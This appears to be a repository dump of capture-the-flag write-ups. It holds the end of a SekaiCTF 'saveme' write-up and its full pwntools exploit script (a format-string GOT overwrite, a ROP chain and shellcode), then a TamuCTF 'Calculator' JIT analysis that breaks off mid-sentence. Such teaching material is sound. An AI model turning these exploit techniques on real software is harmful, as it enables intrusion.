69 | puts("| Please help me out! |"); 70 | printf("| Here is your gift: %p |\n", format);// memory leak? 71 | puts("------------------------------------------------------"); 72 | puts("[1] Save him"); 73 | puts("[2] Ignore"); 74 | printf("Your option: "); 75 | __isoc99_scanf("%lld", &choice); 76 | if ( choice == 1 ) 77 | { 78 | puts("Hmmm, so where should I start to go?"); 79 | } 80 | else if ( choice == 2 ) 81 | { 82 | printf("Please leave note for the next person: "); 83 | __isoc99_scanf("%80s", format); 84 | printf(format); // fsb 85 | putc(10, stdout); 86 | } 87 | return 0LL; 88 | } 89 | ``` 90 | 91 | Prett much what we would expect from out interactions. However there are a few intersting functions - and an obvious format string bug. 92 | 93 | Lets take a look at `load_flag`: 94 | 95 | ```c 96 | unsigned __int64 load_flag() 97 | { 98 | int fd; // [rsp+Ch] [rbp-14h] 99 | void *buf; // [rsp+10h] [rbp-10h] 100 | unsigned __int64 v3; // [rsp+18h] [rbp-8h] 101 | 102 | v3 = __readfsqword(0x28u); 103 | buf = malloc(0x50uLL); 104 | fd = open("flag.txt", 0); 105 | if ( fd == -1 ) 106 | { 107 | puts("Cannot read flag!\nExiting..."); 108 | exit(-1); 109 | } 110 | read(fd, buf, 0x50uLL); 111 | close(fd); 112 | return v3 - __readfsqword(0x28u); 113 | } 114 | ``` 115 | 116 | Nice, so no need to open the file ourselves - the flag will be stored on the heap, so once we get some kind of code execution it should be fairly easy to find. Now lets take a look into `alloc_mem_and_setup`: 117 | 118 | ```c 119 | unsigned __int64 __fastcall alloc_mem_and_setup(void *a1) 120 | { 121 | unsigned __int64 v2; // [rsp+18h] [rbp-8h] 122 | 123 | v2 = __readfsqword(0x28u); 124 | setbuf(stdin, 0LL); 125 | setbuf(stdout, 0LL); 126 | setbuf(stderr, 0LL); 127 | memset(a1, 0, 0x50uLL); 128 | mmap((void *)0x405000, 0x1000uLL, 7, 34, 0, 0LL);// rwx mem 129 | return v2 - __readfsqword(0x28u); 130 | } 131 | ``` 132 | 133 | Very interesting, it seems the author is giving us a not so subtle nudge that to reach the flag, we should be using shellcode. 134 | 135 | Theres one more function that we should be interested in, `seccomp_start`: 136 | 137 | ```c 138 | unsigned __int64 sub_4012BB() 139 | { 140 | __int64 v1; // [rsp+0h] [rbp-10h] 141 | unsigned __int64 v2; // [rsp+8h] [rbp-8h] 142 | 143 | v2 = __readfsqword(0x28u); 144 | v1 = seccomp_init(0LL); 145 | seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL); 146 | seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL); 147 | seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL); 148 | seccomp_load(v1); 149 | return v2 - __readfsqword(0x28u); 150 | } 151 | ``` 152 | 153 | So we setup some rules, we can see them clearer using seccomp-tools: 154 | 155 | ``` 156 | oot in ~/Documents/CTF/SekaiCTF22/saveme λ seccomp-tools dump ./saveme 157 | line CODE JT JF K 158 | ================================= 159 | 0000: 0x20 0x00 0x00 0x00000004 A = arch 160 | 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 161 | 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 162 | 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 163 | 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009 164 | 0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008 165 | 0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008 166 | 0007: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0009 167 | 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 168 | 0009: 0x06 0x00 0x00 0x00000000 return KILL 169 | ``` 170 | 171 | So, we allow only the x86_64 syscalls for `read`, `write` and `exit_group`. This is fine though, because as we saw prior the flag is already in memory - so no need to `open` it a second time. 172 | 173 | Now that we have a good idea of our situation, lets move on to exploitation. 174 | 175 | ## Exploitation 176 | 177 | The important thing here is the scanf - we only get 80 chars of space. I tried a lot of different approaches. 178 | 179 | The first was hijacking `putc@got` to return back into main to get more uses of the fsb this always resulted in either printf or scanf segfaulting in-function due to a mis-aligned stack. We can see in the instruction documentation for [movaps](https://c9x.me/x86/html/file_module_x86_id_180.html) that `When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.` 180 | 181 | This is generally the case for instructions that deal with floating points that require writing to a destination. 182 | 183 | My second approach was to write a ropchain to the stack, however owing to the amount of space i was only able to write about 2 qwords - not enough for anything resembling a ropchain. 184 | 185 | The reason I used so many bytes was because if i used more than a certain number of padding characters for my format string at a time, seccomp would kill my process due to SIGSYS (bad syscall). I thought it could be `brk()` triggering this, as it is a trick in CTF to get malloc to call by providing an obscenely large string, but i never took the time to figure it out. 186 | 187 | My final approach is fairly simple - yet ironically took me the longest to come up with. If we take a look at the stack before we call `putc`, we can see the following: 188 | 189 | ``` 190 | 0x007fffffffe230│+0x0000: 0x0000000000000000 ← $rsp 191 | 0x007fffffffe238│+0x0008: 0x0000000000000002 192 | 0x007fffffffe240│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ← $r10 193 | 0x007fffffffe248│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAA" 194 | 0x007fffffffe250│+0x0020: "AAAAAAAAAAAAAAA" 195 | 0x007fffffffe258│+0x0028: 0x41414141414141 ("AAAAAAA"?) 196 | 0x007fffffffe260│+0x0030: 0x0000000000000000 197 | 0x007fffffffe268│+0x0038: 0x0000000000000000 198 | ``` 199 | 200 | We have 2 qwords, and then our input buffer. This made me think - what if I hijacked `putc@got` with a gadget that has more than 2 pops? Then surely our stack ptr would be on top of our input - and we could have an actual ropchain! 201 | 202 | My payload in the end looked like this: 203 | 204 | ```python 205 | pload = b"%5554c" + b"%10$hn" + b"A"*4 + p64(e.got['putc']) 206 | #0x00000000004015bb: pop rdi; ret; 207 | pload += p64(0x4015bb) 208 | # 0x4021a0 - 0x4021a4 → "%80s" 209 | pload += p64(0x4021a0) 210 | #0x00000000004015b9: pop rsi; pop r15; ret; 211 | pload += p64(0x4015b9) 212 | pload += p64(rwx) 213 | pload += b"B"*8 214 | #pload += p64(0x4015bb+1) 215 | # [0x404088] __isoc99_scanf@GLIBC_2.7 → 0x401116 216 | pload += p64(0x401116) 217 | pload += p64(rwx) 218 | ``` 219 | 220 | First we hit the got like we talked about, we overwrite the last 2 bytes so it looks like: 221 | 222 | ``` 223 | gef➤ x/7i 0x4015b2 224 | 0x4015b2: pop rbx 225 | 0x4015b3: pop rbp 226 | 0x4015b4: pop r12 227 | 0x4015b6: pop r13 228 | 0x4015b8: pop r14 229 | 0x4015ba: pop r15 230 | 0x4015bc: ret 231 | ``` 232 | 233 | This is enough pops that we can safely return into our input string after our payload. 234 | 235 | Next, we setup a small chain to call `scanf("%80s", 0x405000)` so we can load an initial shellcode. 236 | 237 | My first shellcode is a small `read`: 238 | 239 | ``` 240 | mov rax, 0 241 | mov rdi, 0 242 | mov rsi, 0x405000 243 | mov rdx, 0x4141 244 | syscall 245 | ``` 246 | 247 | The idea being that my final payload can have any number of badchars, and i wont have to deal with `scanf` failing - because fuck `scanf` :) . 248 | 249 | My final payload will require some explanation: 250 | 251 | ``` 252 | shc = asm(''' 253 | 254 | pop rcx 255 | pop rcx 256 | pop rcx 257 | pop rcx 258 | sub rcx, 0x240b3 259 | mov rsi, rcx 260 | sub rsi, 0x2910 261 | mov rsi, qword ptr [rsi] 262 | add rsi, 0x290 263 | mov rax, 1 264 | mov rdi, 1 265 | mov rdx, 64 266 | syscall 267 | 268 | ''') 269 | 270 | p.sendline(b"\x90"*0x20 + shc) 271 | ``` 272 | 273 | Firstly, we `pop rcx`. This is because further down the stack, there is a pointer to `__libc_start_main`. Once we get it, subtract to get the base of libc - not really needed but its convenient. Finally, i did some looking around for a heap address we could load, and I found that the address of the `tcache_perthread_struct` is stored in the [thread local storage](https://web.mit.edu/rhel-doc/3/rhel-gcc-en-3/thread-local.html). 274 | 275 | I wont explain much of it, but its basically just an area you can use to store variables uniquely to a thread. It also stores some data such as the original canary, some destructor functions, and some other stuff. 276 | 277 | So we subtract from libc until we reach the tls, as it is stored adjacent to libc, and then we load the heap address. Since the flag is the second chunk allocated after the tcache, all we have to do is add the size to its address, and we should be able to get the flag chunk. 278 | 279 | Finally we write out what should be the flag to stdout: 280 | 281 | ``` 282 | QAAAAp@@[DEBUG] Received 0x78 bytes: 283 | 00000000 53 45 4b 41 49 7b 59 30 75 5f 67 30 54 5f 6d 33 │SEKA│I{Y0│u_g0│T_m3│ 284 | 00000010 5f 6e 40 77 5f 39 33 65 31 32 37 66 63 36 65 33 │_n@w│_93e│127f│c6e3│ 285 | 00000020 61 62 37 33 37 31 32 34 30 38 61 35 30 39 30 66 │ab73│7124│08a5│090f│ 286 | 00000030 63 39 61 31 32 7d 00 00 00 00 00 00 00 00 00 00 │c9a1│2}··│····│····│ 287 | 00000040 2f 72 75 6e 2e 73 68 3a 20 6c 69 6e 65 20 33 3a │/run│.sh:│ lin│e 3:│ 288 | 00000050 20 20 20 36 31 33 20 53 65 67 6d 65 6e 74 61 74 │ 6│13 S│egme│ntat│ 289 | 00000060 69 6f 6e 20 66 61 75 6c 74 20 20 20 20 20 20 2e │ion │faul│t │ .│ 290 | 00000070 2f 73 61 76 65 6d 65 0a │/sav│eme·│ 291 | 00000078 292 | SEKAI{Y0u_g0T_m3_n@w_93e127fc6e3ab73712408a5090fc9a12}\x00\x00\x00\x00\x00/run.sh: line 3: 613 Segmentation fault ./saveme 293 | ``` 294 | 295 | This challenge was pretty fun - it reminded me of how many different ways you can exploit an arbitrary write in a context like this. Now that we found flag, we have to give his gift back - we never even used the stack leak! 296 | 297 | ;( 298 | 299 | # Closing remarks 300 | 301 | Fun challenge, and very fun ctf. Thats it. 302 | 303 | See you in another 3 months :P. 304 | 305 | Also thanks to my teammate [striker](https://ctftime.org/user/88332) for his help on the challenge. 306 | -------------------------------------------------------------------------------- /SekaiCTF2022/saveme/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/SekaiCTF2022/saveme/ld-2.31.so -------------------------------------------------------------------------------- /SekaiCTF2022/saveme/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/SekaiCTF2022/saveme/libc-2.31.so -------------------------------------------------------------------------------- /SekaiCTF2022/saveme/libseccomp.so.2.5.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/SekaiCTF2022/saveme/libseccomp.so.2.5.1 -------------------------------------------------------------------------------- /SekaiCTF2022/saveme/saveme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/SekaiCTF2022/saveme/saveme -------------------------------------------------------------------------------- /SekaiCTF2022/saveme/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from time import sleep 3 | 4 | context.log_level = "debug" 5 | context.arch = "amd64" 6 | 7 | pname = "./saveme" 8 | e = ELF(pname) 9 | libc = ELF("./libc-2.31.so") ## access to hooks and shit, also no tcache safe linking. 10 | 11 | sc = """ 12 | 13 | b *0x4014e8 14 | command 15 | b *0x405000 16 | end 17 | 18 | """ 19 | 20 | def main(): 21 | #p = process(pname) 22 | #p = gdb.debug(pname, sc) 23 | p = remote("challs.ctf.sekai.team", 4001) 24 | #gdb.attach(p, sc) 25 | ## Get a stack leak that we never use :P 26 | p.recvuntil(": ") 27 | stack_leak = int(p.recv(14), 16) + 0x68 28 | print(hex(stack_leak)) 29 | p.sendline("2") 30 | 31 | ## Addr of the rwx mem 32 | rwx = 0x00000000405000 33 | ## The extra padding is to make the putc address align to 8 bytes. Needed since printf wont interpret anything past null bytes 34 | ## so we have to have the address at the end. 35 | ## What we do here is find a gadget that has like 6 pops, we can then use it to get the stack ptr pointing into our input after our fsb payload, in which there is 36 | ## a ropchain. 37 | pload = b"%5554c" + b"%10$hn" + b"A"*4 + p64(e.got['putc']) 38 | #0x00000000004015bb: pop rdi; ret; 39 | pload += p64(0x4015bb) 40 | # 0x4021a0 - 0x4021a4 → "%80s" 41 | pload += p64(0x4021a0) 42 | #0x00000000004015b9: pop rsi; pop r15; ret; 43 | pload += p64(0x4015b9) 44 | pload += p64(rwx) 45 | pload += b"B"*8 46 | #pload += p64(0x4015bb+1) 47 | # [0x404088] __isoc99_scanf@GLIBC_2.7 → 0x401116 48 | pload += p64(0x401116) 49 | pload += p64(rwx) 50 | 51 | 52 | ## stupid solutions 53 | #pload = b"%5369c" + b"%10$hn" + b"A"*4 + p64(e.got['putc']) 54 | #pload = b"%5171c" + b"%10$hn" + b"A"*4 + p64(e.got['putc']) 55 | #pload = b"%5108c" + b"%10$hn" + b"A"*4 + p64(e.got['putc']) 56 | #scanf_gdg = 0x401500 57 | #scanf_gdg = 0x4015b5 58 | #pload = b"%" + str(scanf_gdg & 0xffff).encode("utf-8") + b"c" + b"%14$hn" 59 | #pload = b"%14$n%15$n%16$n%17$n" 60 | #pload += b"%" + str(((scanf_gdg & 0xffff0000) >> 16)).encode("utf-8") + b"c" + b"%15$hn" 61 | #pload += b"%" + str((scanf_gdg & 0xffff) - 0x40).encode("utf-8") + b"c" + b"%14$hn" 62 | #pload += b"A"*6 + p64(stack_leak) + p64(stack_leak+2) + p64(e.got['printf']) + p64(e.got['printf']+2) 63 | #pload += p64(stack_leak) + p64(stack_leak+2) + p64(stack_leak+4) 64 | 65 | p.sendlineafter("person: ", pload) 66 | 67 | ## should have triggered our lovely scanf now, lets send a read() shellcode so we can do any shellcode we want with no problems with badchars 68 | shc = asm(''' 69 | 70 | mov rax, 0 71 | mov rdi, 0 72 | mov rsi, 0x405000 73 | mov rdx, 0x4141 74 | syscall 75 | 76 | 77 | ''') 78 | 79 | p.sendline(shc) 80 | 81 | ## v2, now with no limits. From the libc start main addr on the stack we can find the base, and then we can find the tcache address stored in the tls. The flag is 82 | ## allocated after the tcache, so if we add 0x290 we should be able to write it out. 83 | 84 | shc = asm(''' 85 | 86 | pop rcx 87 | pop rcx 88 | pop rcx 89 | pop rcx 90 | sub rcx, 0x240b3 91 | mov rsi, rcx 92 | sub rsi, 0x2910 93 | mov rsi, qword ptr [rsi] 94 | add rsi, 0x290 95 | mov rax, 1 96 | mov rdi, 1 97 | mov rdx, 64 98 | syscall 99 | 100 | ''') 101 | 102 | p.sendline(b"\x90"*0x20 + shc) 103 | 104 | p.interactive() 105 | 106 | if __name__ == "__main__": 107 | main() 108 | -------------------------------------------------------------------------------- /TamuCTF 2021/Calculator/Calculator.md: -------------------------------------------------------------------------------- 1 | [TamuCTF](https://tamuctf.com) Started last thursday, and took place over 3 days, ending on the 25th (Sunday). The CTF had many different categories, however since I only know (a little bit) pwn I found myself focusing on exclusively those challenges. Of those I managed to solve 8 out of the 11 available. One of these challenges was called **Calculator**. 2 | ## What is it? 3 | When doing CTF challenges/Attacking real targets, people generally say the first step you need to take is to understand the general functionality of the program, then you can understand where vulnerabilities *could* be found, so lets take a look: 4 | 5 | ![1](https://user-images.githubusercontent.com/73792438/116205887-1c4fda80-a736-11eb-8607-d8e346699349.PNG) 6 | 7 | Looks like a calculator (duhh) but with the added feature that instead of just giving numbers and symbols (say "1+1") then evaluating them, we use assembly-like syntax to specify the operation we want. Its sort of unfair to start this way, as I already knew that specifying 'add' would yeald results, so i'll tell you that i spent ~10mins just messing around with the binary without delving too deep, so thats why I know. 8 | 9 | The program has another option we didn't use, being "Print Instructions". Take a look: 10 | 11 | ![2](https://user-images.githubusercontent.com/73792438/116206992-4e157100-a737-11eb-9cb3-f057169ad64a.PNG) 12 | 13 | So that just prints what we entered, cool. I think now we have a general idea of what the program does, and how to use it: 14 | 15 | - "Add instruction" adds an instruction to a buffer/list of commands, this can then be retrieved by "Print Instructions" for printing. 16 | - "Print Instructions" lists out the commands/instructions we added through "Add instruction". 17 | - "Evaluate" does some magic and eventually spits out the result of our sum. 18 | 19 | Another thing we can do is try and enter some garbled mess into "Add Instruction" and see what happens: 20 | 21 | ![3](https://user-images.githubusercontent.com/73792438/116208160-84072500-a738-11eb-9910-357ed32e50c2.PNG) 22 | 23 | As you can see, the program has to do some parsing of our input in "Evaluate", and obviously doesn't even try to interpret our string of 'A's. 24 | Now we can get into the nitty gritty in ghidra to understand the *how* and *why* of this program. 25 | 26 | ## How? 27 | 28 | Starting in main, we see that the decompilation of this function looks very clean, so there is no need to look at ASM for the time being (phew): 29 | (Note that I have added annotations to some of the source code in the other functions and renamed others, so the decompilation will be different on your side) 30 | 31 | ![4](https://user-images.githubusercontent.com/73792438/116210149-84a0bb00-a73a-11eb-8e6d-8781f75f9cb4.PNG) 32 | 33 | As you can see upon starting main we disable buffering for stdout with `setvbuf()`. This means we should get output from the program only when it sends it, and no-where 34 | else. This makes it easier to recieve data when we program our exploit script later. We then `malloc()` some memory with the size of `(instruction_count + 1) << 3` (an easier way to understand this is as `(instruction_count + 1) * 8`) and store a pointer to that memory in `instructions`. 35 | 36 | We can already (correctly) speculate as to the purpose of these variables; the `instructions` variable holds a pointer to heap memory where our entered instructions are stored in some way, and `instruction_count` stores the number of instructions/commands entered, nice. 37 | 38 | We then enter a command loop with `do {} while(True)` that will keep looping until we Ctrl+C/Kill the program another way, and contained inside this loop is code for our 3 choices. We can see some already recognisable functions names `add_instruction()` and `print_instruction()` which both do as you would expect. But then we see what happens for the 3rd choice, or "Evaluate": 39 | 40 | ![5](https://user-images.githubusercontent.com/73792438/116214516-aef47780-a73e-11eb-915f-9fbecdedc74d.PNG) 41 | 42 | 'Jit' stands for 'Just in Time', and generally refers to a type of compilation. This would hint that maybe our simple calculator program is something a little more than 43 | what it seems... 44 | 45 | You may wonder why I have named the two variables 'choice' and 'decision' as such, when they are practically the same thing. This is because I lack creativity and couldn't come up with any better names. 46 | 47 | Anyway, we should start from the top. We can tackle the beast that is the `jit()` function once we understand how the others work, starting with `add_instruction()`. 48 | 49 | ### add_instruction() 50 | 51 | Again (thanks ghidra) the decompilation is very clean, so we can simply use it again. Before we do this I feel that its important to mention you shouldn't always trust a decompiler to tell you the truth of things, I just found that it was perfect for this challenge, but don't make it a habit. Anyway: 52 | 53 | ![6](https://user-images.githubusercontent.com/73792438/116218998-05fc4b80-a743-11eb-8403-041e05a9e0d2.PNG) 54 | 55 | Here's where my nonsensical annotations begin, and never stop lul. Firstly, the function allocates `0x1e` (30) bytes of space, initialises it with zeros using `memset()` and then reads into this memory from `stdin`. So any given command can be a max of `0x1e` bytes long, cool. 56 | 57 | We then store a pointer to our input in the area allocated for holding `instructions` (recall that the area allocated is `(instruction_count + 1) * 8` big). This is actually where `print_instruction()` will look when trying to print out our instructions, so this snippet just stores a pointer to be dereferenced and printed later, but we will get there when we get there. 58 | 59 | The program then sets `instruction_mem_size = instruction_count + 2` and increments `instruction_count`. The latter makes sense; of course whenever `add_instruction()` is called we expect to add another instruction, but what is the purpose of `instruction_mem_size` being incremented? Well if we look a little further on we can see it being used to malloc some space: `__dest = malloc((long)instruction_mem_size << 3);` and then into said space is copied the contents of the `instructions` heap memory. Since we increment it by 2, rather than just 1, this gives us an extra "1\*8" in space. This space is then used to store the pointer to our input that is used by `print_instruction()`. 60 | 61 | Now the program `free()`s the `instructions` memory, and sets it to the new pointer to memory we just allocated, `__dest`. 62 | 63 | So, to recap. Whenever we call `add_instruction()` we read an instruction/whatever happens to be sent via stdin into a heap buffer. A pointer to this buffer is then written 64 | into the `instructions` heap memory, along with any other instruction buffers that may already be there. We than allocate another heap buffer that is equal to the size of the previous buffer + 8. Then we free the old heap buffer, and set `instructions` to the new memory. Here's what that would look like in gdb: 65 | 66 | ![7](https://user-images.githubusercontent.com/73792438/116226666-2d571680-a74b-11eb-89f4-70edbf73364d.PNG) 67 | 68 | With the address `0x5555555592a0` being the `__dest` pointer. 69 | 70 | ### print_instruction() 71 | 72 | Now we can have a breather, as this function should already be pretty farmiliar to you, its also quite simple: 73 | 74 | ![8](https://user-images.githubusercontent.com/73792438/116227135-b40bf380-a74b-11eb-89dc-1369bddf80f3.PNG) 75 | 76 | All it does is iterate through the `instructions` heap memory, dereferencing any pointers it may find and printing them. As I point out at the top, this will also print out any garbage we add to our instructions buffer, but this is mainly due to `add_instruction()` not doing any checks on whether our input is a valid instruction/command. This isn't particularly important, just I would mention it. 77 | 78 | ## jit() 79 | 80 | One of the hallmarks of a JIT compiler is that some language (such as python or javascript) is converted into Byte-code, and then that bytecode is then fed into an interpreter such as the python interpreter that then converts that bytecode into machine code and executes it. This program does implement JIT, although it takes out the bytecode and instead just converts our commands into machine code, lets take a look: 81 | (The function is too big for a screenshot so I will paste the decompiled code here) 82 | 83 | ```c 84 | 85 | void jit(void) 86 | 87 | { 88 | int choice_1; 89 | ulonglong arg1; 90 | double skipped_instructions_float; 91 | char *nullptr; 92 | char skipped_instructions [8]; 93 | undefined8 executed_code; 94 | char *instr_name; 95 | int size_of_code; 96 | int real_skipped_instructions; 97 | int iter; 98 | undefined *code_ptr; 99 | 100 | puts("How many instructions would you like to skip?"); 101 | fgets(skipped_instructions,8,stdin); 102 | /* converts string input from fgets() into an actual number so it can be used to 103 | skip some instructions. Interestingly enough this is a float. Hmmmm.... */ 104 | skipped_instructions_float = atof(skipped_instructions); 105 | /* each encoding of instructions = 13 bytes */ 106 | real_skipped_instructions = (int)(skipped_instructions_float * 13.0); 107 | size_of_code = instruction_count * 0xd + 4; 108 | /* map some memory and store a pointer to the mapped area in 'code_ptr' */ 109 | code_ptr = (undefined *)mmap(&Elf64_Ehdr_00100000,(long)size_of_code,0,0x22,-1,0); 110 | /* make new code area rwx (juicy) */ 111 | mprotect(code_ptr,(long)size_of_code,7); 112 | /* add instructions at the end of our allocated code that disassemble to: 113 | 48 89 C8 mov rax, rcx 114 | C3 ret 115 | This is the code that supplies the return value that we check at the end, and 116 | returns execution back to jit() (return value goes in rax) */ 117 | code_ptr[(long)size_of_code + -4] = 0x48; 118 | code_ptr[(long)size_of_code + -3] = 0x89; 119 | code_ptr[(long)size_of_code + -2] = 200; 120 | code_ptr[(long)size_of_code + -1] = 0xc3; 121 | /* iterate through all charps in instructions */ 122 | iter = 0; 123 | while (iter < instruction_count) { 124 | instr_name = *(char **)(instructions + (long)iter * 8); 125 | /* 48 B8 00 00 00 00 00 00 00 FF movabs rax, 0xff00000000000000 */ 126 | *code_ptr = 0x48; 127 | code_ptr[1] = 0xb8; 128 | /* extract our number we specified with the instruction. E.g, if we said "add 129 | 123" 130 | this would extract "123" and convert it to unsigned long long */ 131 | arg1 = strtoull(instr_name + 4,&nullptr,10); 132 | /* set arg1 to the operand of the movabs rax instruction */ 133 | *(ulonglong *)(code_ptr + 2) = arg1; 134 | code_ptr[10] = 0x48; 135 | code_ptr[0xc] = 0xc1; 136 | code_ptr = code_ptr + 10; 137 | choice_1 = strncmp(instr_name,"add",3); 138 | /* if "add" str is found, encode an add instruction */ 139 | if (choice_1 == 0) { 140 | /* 48 01 C1 add rcx, rax */ 141 | code_ptr[1] = 1; 142 | } 143 | else { 144 | choice_1 = strncmp(instr_name,"sub",3); 145 | /* if "sub" str is found, encode a sub instruction */ 146 | if (choice_1 == 0) { 147 | /* 48 29 C1 sub rcx, rax */ 148 | code_ptr[1] = 0x29; 149 | } 150 | else { 151 | choice_1 = strncmp(instr_name,"xor",3); 152 | /* if "xor" str is found, encode an xor instruction */ 153 | if (choice_1 == 0) { 154 | /* 48 31 C1 xor rcx, rax */ 155 | code_ptr[1] = 0x31; 156 | } 157 | } 158 | } 159 | /* move onto encoding the next instruction */ 160 | code_ptr = code_ptr + 3; 161 | iter = iter + 1; 162 | } 163 | /* execute jit()ted code, and store the return value (whatevery happened to be 164 | in rax when the function exited) in 'executed code' */ 165 | executed_code = (*(code *)(long)(real_skipped_instructions + 0x100000))(); 166 | /* get return value from executed code */ 167 | printf("result = %llu\n",executed_code); 168 | munmap(&Elf64_Ehdr_00100000,(long)size_of_code); 169 | return; 170 | } 171 | 172 | ``` 173 | 174 | So... Where to start? Well first we are prompted to enter "How many instructions would you like to skip?". Our input is then converted to a float (keep note of this, as it will be extremely important later on) and stored, and then multiplied by 13. Now the program calculates how long our code will need to be with `size_of_code = instruction_count * 0xd + 4;` we then call `mmap()` with this value as the length argument and attempt to map that amount of memory from the address `0x100000` (this is static, and never changes). When that the memory is mapped we call `mprotect()` and set it to be readable, writable, and executable. 175 | 176 | Another common characteristic of JIT is that it will set the permissions on memory pages to be readable, writable, and executable and never change them back. This is because it will take the byte-code, convert it into machine code, write it to memory and execute it all together. Calling a syscall like `mprotect()` to periodically to reset permissions on the memory ranges when they don't need to be, for instance writable, but only executable would take time, so often JIT pages will be all 3 at once. This is also the case for this program as it writes code into this memory, then executes it all in one. 177 | 178 | Then we do something odd: 179 | 180 | ![9](https://user-images.githubusercontent.com/73792438/116240964-592ec800-a75c-11eb-9ecd-935b2ebf6350.PNG) 181 | 182 | Here you can see that we modify the memory at the end of our mapped space at indexes `code_ptr[size_of_code - 1]` to `code_ptr[size_of_code - 4]` and each time we write 183 | a byte. This is the first time we write code into the new memory, even though these bytes just look like data the comment explains that these actually disassemble onto `mov rax, rcx ; ret`. These are placed at the end of our code, meaning these will be executed after all our other stuff is done with. This specific `ret` instruction is responsible for returning back into `jit()` once we have finished execution. If you were wondering why `size_of_code = instruction_count * 0xd + 4;` rather than `size_of_code = instruction_count * 0xd;`, its because these instructions make up for those last 4 bytes. 184 | 185 | Next we enter a loop that iterates through `instruction_count`, meaning for every instruction this loop will execute. In this loop is where the magic of "Evaluate" happens. 186 | 187 | ![10](https://user-images.githubusercontent.com/73792438/116242813-356c8180-a75e-11eb-8dca-d022b068f700.PNG) 188 | 189 | Firstly, we get one of the charps from our `instructions` variable (recall that all `instructions` really is just a list of charps) and store it in `instr_name`. Next we write part of another instruction to our memory, this time being a `movabs rax, ?` instruction, we then parse the string at `instr_name` and take out the argument we supply to our command. Then convert it to an `unsigned long long` using `strtoull()`. We then write this new number into the `movabs rax, ?` instruction as its argument. `unsigned long long` is 8 bytes of 64 bits long, meaning that the argument for `movabs rax, ?` will be either padded out to 8 bytes or take all the 8 bytes of the number we supply. 190 | 191 | This means that we completely control the operand, all 8 bytes of it. Here's what that looks like in gdb: 192 | 193 | ![12](https://user-images.githubusercontent.com/73792438/116245484-e7a54880-a760-11eb-9c5d-dbff4d67f247.PNG) 194 | 195 | When we then call the code in `jit`: 196 | 197 | ![13](https://user-images.githubusercontent.com/73792438/116245492-ea07a280-a760-11eb-9373-21546a12151b.PNG) 198 | 199 | This is another thing that will be very relevent soon. 200 | 201 | In the screenshot above, you can also see that our "add" command was encoded as an actual `add` instruction, now were going to see how: 202 | 203 | ![14](https://user-images.githubusercontent.com/73792438/116246165-a3667800-a761-11eb-8566-1c1e04d0930e.PNG) 204 | 205 | 10 bytes later in the code (`code_ptr[10]`) after we have finished encoding the `movabs rax, ?` instruction, we see some more bytes that could be instructions being written, 206 | one at `code_ptr[10]` and one at `code_ptr[0xc]` (12). The code_ptr is then incremented by 10, so that it points where `code_ptr[10]` used to point. And a different byte is written to `code_ptr[1]` (`code_ptr[11]`) depending on what operation we specified in our input string. In the case of our previous screenshot, "add" was used and so '1' is written in between `code_ptr[10]` (0x48) and `code_ptr[12]` (0xc1), making the bytes equal to `\x48\x01\xc1`, creating an `add rcx, rax` instruction: 207 | 208 | ![15](https://user-images.githubusercontent.com/73792438/116247855-2b994d00-a763-11eb-9d60-5b88288748c4.PNG) 209 | 210 | The same thing happens for the other instruction/commands "xor" and "sub". I never needed to touch these though. We now finally come to the end of the `jit()` function: 211 | 212 | ![16](https://user-images.githubusercontent.com/73792438/116248153-7d41d780-a763-11eb-837c-7f4da5230367.PNG) 213 | 214 | `code_ptr` now points to the byte in between `\x48` and `\xc1`. So the program needs to increment the pointer by '3' if it wants the next iteration of the loop to start writing instructions into memory that is unused, so it does just that. `iter` is then incremented by one. This loop will continue as long as `iter < instruction_count`, so every command will have the operations above conducted on them. When all commands have been processed, its time to exit the loop. 215 | 216 | Now that all the commands have been interpreted and translated into machine code, and all boilerplate instructions have been written into the memory we can finally call/run the code. First we add the number of instructions * 13.0 that we want to skip. Why times 13? Well each command is translated into 13 bytes of x86, as you have observed. So it would make sense to add 13 if you wanted to start at the next instruction, but after we have done this calculation the code is run and thanks to the `ret` instruction hardcoded at the end can return back into `jit()`. The return value being placed in `rax` beforehand. This value actually contains the result of all our commands/operations, and is then printed by `printf()`. The program then returns into `main()` and the cycle continues indefinitely. 217 | 218 | ## Exploitation 219 | 220 | I tried to put specific emphasis on a couple of things when describing how `jit()` worked, namely that we can control all the bytes in the `movabs rax, ?` instruction operand, and that the equation to skip instructions uses a `float` value. The main thing to understand is the float value. Let me demonstrate: 221 | 222 | ![17](https://user-images.githubusercontent.com/73792438/116250955-1bcf3800-a766-11eb-9676-8f299dd7ba12.PNG) 223 | 224 | Here i make 4 "add" instructions. Now i'm going to "Evaluate" and choose to skip 4 instructions. This should result in skipping all of my commands: 225 | 226 | ![18](https://user-images.githubusercontent.com/73792438/116251417-8bddbe00-a766-11eb-9d2b-48850f639e65.PNG) 227 | 228 | As you can see, this is exactly what happened. We end up at the `mov rax, rcx ; ret` instruction at the end of the code. We skip a total of 0x34 bytes, or 13 * 4 bytes. Now i will enter the same instructions again, this time choosing to skip '1.2' instructions. Watch what happens next: 229 | 230 | ![19](https://user-images.githubusercontent.com/73792438/116252072-250cd480-a767-11eb-9aed-9a37ac74997c.PNG) 231 | 232 | The first 